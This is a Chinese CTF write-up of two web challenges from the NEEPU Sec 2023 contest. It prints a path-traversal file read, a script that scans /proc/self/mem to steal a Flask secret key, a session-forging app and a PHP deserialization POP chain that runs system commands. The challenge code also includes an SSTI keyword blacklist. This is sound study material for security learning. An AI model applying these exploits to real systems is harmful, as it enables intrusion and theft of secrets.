目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. Cute Cirno
      1. 2.1.1. 非预期
    2. 2.2. ezphp

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

NEEPU Sec 2023公开赛 复现

2023/5/22 CTF线上赛
  |     |   总文章阅读量:

前言

web又爆零了呜呜呜

不过倒也学到了很多东西

贴几个大佬的wp:

Boogipop

套神

Web

Cute Cirno

进入题目,在Cirno界面的js文件中发现一个任意读取文件的路由/r3aDF1le

然后用cmdline读出文件名

/r3aDF1le?filename=../../../proc/self/cmdline

获取源码

from flask import Flask, request, session, render_template, render_template_string
import os, base64
from NeepuFile import neepu_files

CuteCirno = Flask(__name__, static_url_path='/static', static_folder='static')

CuteCirno.config['SECRET_KEY'] = str(
    base64.b64encode(os.urandom(30)).decode()) + "*NeepuCTF*"


@CuteCirno.route('/')
def welcome():
    session['admin'] = 0
    return render_template('welcome.html')


@CuteCirno.route('/Cirno')
def show():
    return render_template('CleverCirno.html')


@CuteCirno.route('/r3aDF1le')
def file_read():
    filename = "static/text/" + request.args.get('filename', 'comment.txt')
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    return neepu_files(filename, start, end)


@CuteCirno.route('/genius')
def calculate():
    if session.get('admin') == 1:
        print(session.get('admin'))
        answer = request.args.get('answer')
        if answer is not None:
            blacklist = [
                '_', "'", '"', '.', 'system', 'os', 'eval', 'exec', 'popen',
                'subprocess', 'posix', 'builtins', 'namespace', 'open', 'read',
                '\\', 'self', 'mro', 'base', 'global', 'init', '/', '00',
                'chr', 'value', 'get', "url", 'pop', 'import', 'include',
                'request', '{{', '}}', '"', 'config', '='
            ]
            for i in blacklist:
                if i in answer:
                    answer = "⑨" + """"""
                    break
            if answer == '':
                return "你能告诉聪明的⑨, 1+1的answer吗"
            return render_template_string("1+1={}".format(answer))
        else:
            return render_template('mathclass.html')

    else:
        session['admin'] = 0
        return "你真的是我的马斯塔吗?"


if __name__ == '__main__':
    CuteCirno.run('0.0.0.0', 5000, debug=True)

很明显是要求我们先进行session伪造然后进行ssti

然后本人就卡在session伪造上了,因为SECRET_KEY的生成方式貌似是真随机

看了一下大佬们的wp,好像是读内存算uuid

这里先附上算mem获取uuid的脚本

#@ mumuzi
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import re
import sys
reload(sys)
sys.setdefaultencoding('utf-8')

url_1 = "http://neepusec.fun:28723/r3aDF1le?filename=../../../../../proc/self/maps"
res = requests.get(url_1)
maplist = res.text.split("\n")

for i in maplist:
    m = re.match(r"([0-9A-Fa-f]+)-([0-9A-Fa-f]+) rw", i)
    if m != None:
        start = int(m.group(1), 16)
        end = int(m.group(2), 16)
        url_2 = "http://neepusec.fun:28723/r3aDF1le?filename=../../../../../proc/self/mem&start={}&end={}".format(
            start, end)
        res_1 = requests.get(url_2)
        if "*NeepuCTF*" in res_1.text:
            print start
            print end
            print url_2

然后带上startend的值访问

找到一串带有*NeepuCTF*的字符串,那就是我们要找的SECRET_KEY

然后本地脚本跑一下获取session

import base64
import os
from flask import (Flask, render_template, request, url_for, redirect, session,
                   render_template_string)
from flask_session import Session

app = Flask(__name__)
app.secret_key = '' #获取的key


@app.route('/')
def index():
    #要伪造的数据
    txt = '1'
    session['admin'] = txt  #放入session中会用key自动加密后发给客户端
    ls = '''can can word session '''
    return render_template_string(ls)


if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

访问/genius,带上session

来到ssti部分

过滤一堆,可以继续坐牢

参考ctfshow ssti web369

非预期

开了debug模式,所以直接算pin码进console就能出


ezphp

php<=7.4.21源码泄露

反序列化

打开题目

发现啥都没有

试图dirsearch扫,但是依旧啥都没有

这个时候突然想到看看php版本,发现是7.4.21,搜索一下发现刚好有源码泄露漏洞

那就抓包发到重放器改请求头

1

得到反序列化源码

<?php
class one
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function neepuctf()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class two
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class three
{
    public function __destruct()
    {
        if ($this->neepu->neepuctf() || !$this->neepu1->neepuctf()) {
            $this->fin->NEEPUCTF($this->rce, $this->rce1);
        }
    }
}
class four
{
    public function __destruct()
    {
        if ($this->neepu->neepuctf()) {
            $this->fin->NEEPUCTF1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}
class five
{
    public $finish;
    private $name;
    public function __get($name)
    {
        return $this->$name = $this->finish[$name];
    }
}

$a = $_POST["neepu"];
if (isset($a)) {
    unserialize($a);
}

接下来就是构造pop链

链子应该是__destruct->__call

这里贴个Boogipop大佬的链子,本人还没想明白这链子是怎么连上的(x

<?php
class  one{
  public function __call($name,$ary)
    {
        if ($this->key === true||$this->finish1->name) {
            if ($this->finish->finish){
                call_user_func($this->now[$name],$ary[0]);
            }
        }
}
class two{
    private $finish;
    public $name;
}

class three{
}
class four{
   public function __destruct()
    {
        if ($this->neepu->neepuctf()){
            $this->fin->NEEPUCTF1($this->rce,$this->rce1);
        }

    }
    public function __wakeup(){
        $this->key=false;
    }
}
class five{
    public $finish;
}

$a=new four();
$a->rce="cat /flag";
$a->rce1="";
$b=new one();
$b->finish->finish=true;
$a->neepu=$b;
$c=new one();
$c->key=true;
$c->finish->finish=true;
$c->now['NEEPUCTF1']='system';
$a->fin=$c;
echo urlencode(serialize($a));